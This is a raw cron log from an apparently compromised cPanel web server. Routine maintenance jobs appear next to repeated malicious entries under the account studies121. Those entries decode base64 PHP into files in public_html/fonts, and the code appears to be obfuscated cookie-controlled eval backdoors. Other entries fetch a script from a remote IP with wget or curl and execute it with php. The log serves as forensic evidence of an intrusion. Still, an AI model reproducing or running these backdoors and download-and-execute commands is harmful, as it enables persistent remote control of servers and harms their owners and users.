Sep 11 05:45:02 ip-184-168-122-23 CROND[11002]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:45:02 ip-184-168-122-23 CROND[11000]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:45:02 ip-184-168-122-23 CROND[11001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:46:01 ip-184-168-122-23 CROND[11101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:46:01 ip-184-168-122-23 CROND[11103]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 05:46:01 ip-184-168-122-23 CROND[11104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:46:01 ip-184-168-122-23 CROND[11102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:46:01 ip-184-168-122-23 CROND[11105]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:46:01 ip-184-168-122-23 CROND[11107]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:46:01 ip-184-168-122-23 CROND[11106]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 05:47:01 ip-184-168-122-23 CROND[11225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:47:01 ip-184-168-122-23 CROND[11226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:47:01 ip-184-168-122-23 CROND[11229]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:47:01 ip-184-168-122-23 CROND[11228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:48:01 ip-184-168-122-23 CROND[11356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:48:01 ip-184-168-122-23 CROND[11358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:48:01 ip-184-168-122-23 CROND[11359]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:48:01 ip-184-168-122-23 CROND[11361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:48:01 ip-184-168-122-23 CROND[11360]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:49:01 ip-184-168-122-23 CROND[11453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:49:01 ip-184-168-122-23 CROND[11454]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:49:01 ip-184-168-122-23 CROND[11455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:49:01 ip-184-168-122-23 CROND[11457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11557]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:50:01 ip-184-168-122-23 CROND[11559]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11562]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11567]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:50:01 ip-184-168-122-23 CROND[11566]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:50:01 ip-184-168-122-23 CROND[11568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:51:02 ip-184-168-122-23 CROND[11753]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:51:02 ip-184-168-122-23 CROND[11755]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:51:02 ip-184-168-122-23 CROND[11758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:51:02 ip-184-168-122-23 CROND[11759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:52:01 ip-184-168-122-23 CROND[11852]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:52:01 ip-184-168-122-23 CROND[11854]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:52:01 ip-184-168-122-23 CROND[11855]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:52:01 ip-184-168-122-23 CROND[11856]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:52:01 ip-184-168-122-23 CROND[11857]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:53:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:53:01 ip-184-168-122-23 CROND[11948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:53:01 ip-184-168-122-23 CROND[11949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:53:01 ip-184-168-122-23 CROND[11947]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:54:01 ip-184-168-122-23 CROND[12077]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:54:01 ip-184-168-122-23 CROND[12079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:54:01 ip-184-168-122-23 CROND[12082]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:54:01 ip-184-168-122-23 CROND[12081]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:54:01 ip-184-168-122-23 CROND[12080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:55:01 ip-184-168-122-23 CROND[12210]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:55:01 ip-184-168-122-23 CROND[12212]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:55:01 ip-184-168-122-23 CROND[12213]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 05:55:01 ip-184-168-122-23 CROND[12214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 05:55:01 ip-184-168-122-23 CROND[12216]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:55:01 ip-184-168-122-23 CROND[12218]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:56:01 ip-184-168-122-23 CROND[12351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 05:56:01 ip-184-168-122-23 CROND[12352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 05:56:01 ip-184-168-122-23 CROND[12353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 05:56:01 ip-184-168-122-23 CROND[12355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 05:56:01 ip-184-168-122-23 CROND[12354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 05:57:01 ip-184-168-122-23 CROND[12525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
